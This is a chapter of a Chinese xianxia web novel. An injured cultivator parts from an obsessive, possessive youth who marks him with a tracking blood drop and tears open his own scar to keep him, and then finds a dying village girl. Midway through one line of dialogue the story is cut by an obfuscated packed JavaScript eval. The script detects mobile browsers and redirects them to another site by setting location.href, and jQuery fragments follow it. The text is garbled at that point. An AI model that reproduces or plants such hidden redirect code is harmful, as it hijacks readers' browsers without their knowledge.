伤势很重,里面的脏器被伞骨撑开,受到挤压而破裂,血流如河。
贺春生醒于第三日。
入眼是神仙窑的小屋,他迷蒙睁眼,呼吸稍微急促,便将床旁的少年惊醒。
五指被握,少年身子猛地前倾,怕伤到他般又缩回去,颤抖的唇角落入贺春生眼里。
贺春生道:“我......”
话出口是无尽沙哑,嗓间堵着的血味,彻底掩盖了本来嗓音。
刚开口,手心便贴上一团温热,指尖轻缩,沾上泪滴。
他将脸埋进贺春生手里,哭的无声无息。
这么要强的人,此时竟将自己柔软的一面展开,任由自己去触。
贺春生刮刮他脸,轻声:“......不哭了。”
祈长生带着鼻音:“我一睁眼就找不到你了,等你回来,满身都是伤。我看不见,帮不上忙,他们还不让我跟着。”
他哽咽:“我只能在门口等,但今年春天太冷,我很害怕。”
“他们和我说了,我是魔种。小时候我娘总骂我畜生,还真没骂错。”
祈长生白绫已取,双目死寂,固执望向他,妄想看清他的脸:“我想,你救下我......是不是一个错误?”
贺春生忍痛起身,狠狠往祈长生头顶一敲:“再乱想就滚出去。”
回应他的是祈长生的拥抱。
祈长生身体很烫:“下次出头时,想想我在等你,若哪日在遇这种情形,我怕会疯。”
他低语,仿佛在说,能让自己豁出性命的,有他一人足矣。
祈长生眼底恨意翻涌。
为什么他身边的人这么多,凭什么别人也能拥有这一分甜?
这是他的。
念头一起,占有与欲望如毒蛇缠绕心脏,他揽着贺春生的手无意绞紧,幽冷梅香不断刺激祈长生的神经,他舔唇,露出两颗犬牙,朝着脖颈——
贺春生推他:“放开。”
眸中阴暗被空洞替代,少年清朗乖巧,朝他后脖捏了捏。
一滴血融进,迅速消失在皮下,只留下颗淡淡红痣。
祈长生不留痕迹地收手,向贺春生掷去枚笑。
这是一早导出的心头血,有了这滴血,无论贺春生跑去哪里,自己都能感应到。
他再也不会让自己失去贺春生的踪迹。
祈长生笑的明媚,贺春生心中被扎一般,忙撇过脸道:“你的眼睛......?”
“他眼睛痊愈,怕还得等些天数。”岳二桥倒下盏茶:“倒是你,身体如何?”
贺春生道:“已无大碍,只剩些外伤未愈。”
他试着运行灵力,灵核在内转动,汇起暖流。
岳二桥道:“既无大碍,便跟我走吧,我们还有事问你。”
贺春生点头,一直居于身后的祈长生将外袍盖下,一只手放在他肩上:“你有事的话,可以先不用管我。”
“那我先走了,你回房等我,我去去就回。”贺春生欣慰。
祈长生:“......”
他笑的僵硬,在贺春生的温言下,咬牙点头。
视线内的青缩成一团,复又展开,重新聚在山上草旁。
三道目光直直射来,贺春生手一抖,道:“三位前辈尽管开口,晚辈知无不言。”
谢临风目光如炬:“你并无孪生兄弟。”
贺春生知他想问什么,斟酌开口:“我来自另一个尘世。”
谢临风一副“果然”的表情:“难怪我如何推,都推不出你的命途。”
双方一轮话完,各交出自身秘密,以示诚意。
原来不止淮水,谢临风也会推演术,且技艺在淮水之上。
贺春生略惊,接受道:“但我与我师弟并无关系,只是轮回时出了差错,才替了他的容颜。”
轮到谢临风惊讶了,他脸上皱纹骤缩:“这便是要问你的另一件事......我沿着祈长生的命途去推,推到了你,你们二人,该有很大渊源才是。”
兴许是他打破祈长生命轨的结果,贺春生道:“晚辈不知。”
“来到这个尘世前,我只是一抹残魂,昏沉二十年来到这里,所以对于那个尘世,我亦不熟悉。”
谢临风道:“那你可知,在那个尘世,祈长生的命运?”
语言犀利,一针见血。
贺春生犹豫,念出一段民谣:“脚踏三峰尖,血洗婺州陵,衢城三日真火烧,枯灰落满十四州。”
他吞下口水,陈述这人日后罪行:“弑师灭门,杀父杀兄,最后被众人讨伐而死。这是人们口中的他。”
谢临风道:“与我先前推演出的分毫不差。”
“但......”
山上刮起大风,伴着树叶碰撞而发的沙沙声,莫名让贺春生有些不安。
幽暗目光扫上贺春生,谢临风到:“他遇到你后,命途上的一点,自此偏了开来。”
“后更如野马般,不受控制脱缰而去。”
贺春生道:“那师伯可知,他最后的结果,是好是坏?”
他着急补道:“长生并非无可救药,他是个好孩子。”
谢临风挥手示意别着急,道:“难说,如今,我连他的命途也推不出了。”
“但你二人的命运,息息相关,缠绕不清,你与他面貌相同,依我拙见,并非偶然。”
贺春生呼吸一滞。
谢临风拍肩道:“事情还未确认,你也不用思虑太多。既聊到这个地步,我们四人也开诚布公,谈谈之后的事。”
贺春生猜到一半,余下细节,在话语中补全。
他对谢临风三人安排并无异议,他们是真在为民做事,贺春生都看在眼里。
且这些日子身在底层,与寻常百姓同吃同住,他意识到,若无人掀翻政权,重整仙门,世道会一直这般昏庸下去。
到那时,仙门连同权贵,会如蛀虫般将百姓啃食殆尽。
贺春生脚步停在门前,思绪混乱。
但如此,他与祈长生,便要站上对立面。
谢临风需要一个人深入仙门,得到五宗信任,再以权压迫五宗,破旧立新;亦要一人配合在明,吸引五宗关注,脱清另一人嫌疑,唱出完美双簧。
因贺春生畏惧与人接触,得五宗信任,面上必要同流合污,他性子软,装不出,谢临风原定让贺春生在明,祈长生在暗。
但在暗的人,要背上许多骂名。
贺春生不想让祈长生身上骂名再添几分。
谢临风的叹息如在耳边:“按他原命途来推,他死后的那些话,应都是添油加醋的流言。世上本就仇魔,更别提此魔,抢了仙门大半权力。”
心脏被碾般叫嚣痛楚,贺春生站在门前,去见他与祈长生尚有温情的最后一面。
“我回来了。”
他尽量将声调抬高,让尾音轻快些。
祈长生顺势牵住他手,皱眉:“好凉。”他垂头,朝手中哈气。
贺春生点着他唇角黑痣,压下酸涩:“先放开我,我有事与你商量。”
祈长生不舍放手:“哦。”
贺春生围着他看了圈,满意道:“你的伤已经好了,灵根也在聚合,用不了多久,便可继续修行了。”
话中带了些不忍:“再过几日,眼睛恢复了,我便没用了。”
一瞬间,祈长生脸色沉下,他立刻明白贺春生意思:“你想去哪?”
少年绷着脸,压迫十足,他朝前两步撞进贺春生怀里,低声:“你想离开我?”
贺春生纠正:“只是暂时分开。”
祈长生暴怒:“那也不行!”
吼声出口,他立马后悔将声音压下,祈长生连连道:“对不起,我不是凶你......我只是想,永远和你在一起。”
贺春生痛楚更甚,勉强笑着:“没有人会一直陪在别人身边。”
他缓解气氛道:“再说,若你以后成亲,也不能带着我一起过啊?”
“你还小......”
祈长生声音激动:“我们成亲!”
他怯补道:“......住一起。”
“四个人一起住,这算什么事?”贺春生道:“而且我年纪大了,怕是没人愿意和我在一起。”
他道:“好了,离你谈婚论嫁还早,不提这个了。我这次来,是和你告别,离开后,你要好好听岳家二哥,还有谢前辈的话,做他们让你做的事......”
“我不许!”祈长生怒道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297828|177951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“凭什么你说告别就告别?你救了我,背了我的命,便要一辈子管着我,凭什么说走就走?!”
“我不会让你离开的......你不是喜欢乖的吗?我装一辈子给你看,好不好?”祈长生呢喃:“是不是因为我伤好了,不够可怜了?”
他将衣服扒开,露出胸前的疤痕,五指抠进,将伤口往外扒着:“你看,我伤的很重,还需要你……别离开我。”
疤痕未愈,在祈长生的粗暴的动作下皮肉翻开,里面的血纹清晰可辩。
贺春生抓住他的手,警告:“祈长生!”
祈长生在他眼前缓缓跪下:“是不是我哭了,你就会多心疼我一点,就不会走了?”
泪珠从眼中划出:“你心疼心疼我,求你。”
少年额间魔印闪烁,彰显他的情绪,贺春生深叹口气,指尖聚起灵流,点上他额头。
祈长生意识消逝之际,贺春生道:“做该做的事,待山河平定,世间太平,你我再相遇。”
贺春生向屋内望了最后一眼,轻轻合上房门。
房外早早有人等他。
岳方时抱臂:“你大可以说开,这并不影响行动。”
贺春生摇头:“不必了。”
祈长生求的是游洄而非贺春生,将这段记忆埋进心里,是最好的结局。
他道:“等我走后,拜托师叔将他带离这里,他会听的。以后在他面前,也不必再提起我,无论哪个身份。”
岳方时答应,贺春生看着手中弓弩:“离开这儿前,我还想再见一个人。”
石头家遍布萧瑟,贺春生找了一圈,没找到人。
这个点,石头一般都在家做活,这是跑哪儿去了?
贺春生踏出门,正巧遇到过路村民,村民看见他微微一愣,招呼:“游仙师,你这是去哪儿?”
贺春生问:“打扰,你知道石头在哪儿吗?”
闻言村民痛心:“唉!她寿命被伞妖吸完了,她娘也不乐意救,没几天了!怕,怕是被她娘扔到婴洞里了!”
村民后知后觉,贺春生没听过这个地方:“这些年孩子饿死的多,没地儿埋,扔多了,就叫了这个名。”他给贺春生指了个位置。
婴洞在桥洞下面,水已经干涸了,洞下骸骨已化泥,看到那个幼小身影,贺春生一连几步跑去。
女孩还有最后的气息,躺在他怀里,掀开眼皮:“......游,游先生。”
贺春生道:“是我,是我,我来了。”
他将弓弩塞进石头怀里:“你看看这是什么?不要闭眼,别闭眼。”
石头摸着弓弩,轻轻勾起唇角:“先生,你知道我的名字吗?”
“我叫石头,我娘说,贱名配贱人,她总说我爹和别人跑了,她恨我爹,也恨我......但我,我不恨她,真的。”
“......石头很硬,能砸妖怪,我喜欢这个名字。”
贺春生握住她的手:“别说了......”
石头笑着:“我想保护娘,保护别人,游先生,谢谢你给我做的弓弩。”
她意识濒临模糊,喃喃:“其实每天你教我的字,我都不认识,回家问我娘,她也不和我说。但,但还是喜欢听课。”
“能遇到游先生,真是太好了。”
握着弓弩的手骤然落下,砸在身上像千世的雨。
贺春生抱着她:“......我还能救你,影鬼,对,还有影鬼。”
他颤抖的撑起身子,朝石头家跑着,去寻她的执念。
临近日落,村头终于冒出一个人,贺春生身影踉跄,神色悲戚。
岳方时递去包袱:“怎么这么晚?”
贺春生恍惚接过,视线一直没移开双手。
岳方时注意到:“你干什么去了?手上都是土。”
他掏出帕子:“擦擦。”
贺春生胡乱擦了擦,朝村里深深望了一眼,嗓子哑的厉害,像大哭过一场:“走吧,先去观心宗。”
两人沉默地走出一段路,山风渐起。
贺春生忽然停下脚步,转过头,问了一个没头没脑、却让岳方时心中骤然一沉的问题。
贺春生迷茫而痛苦:“到底是什么人,会连一点执念都没有?”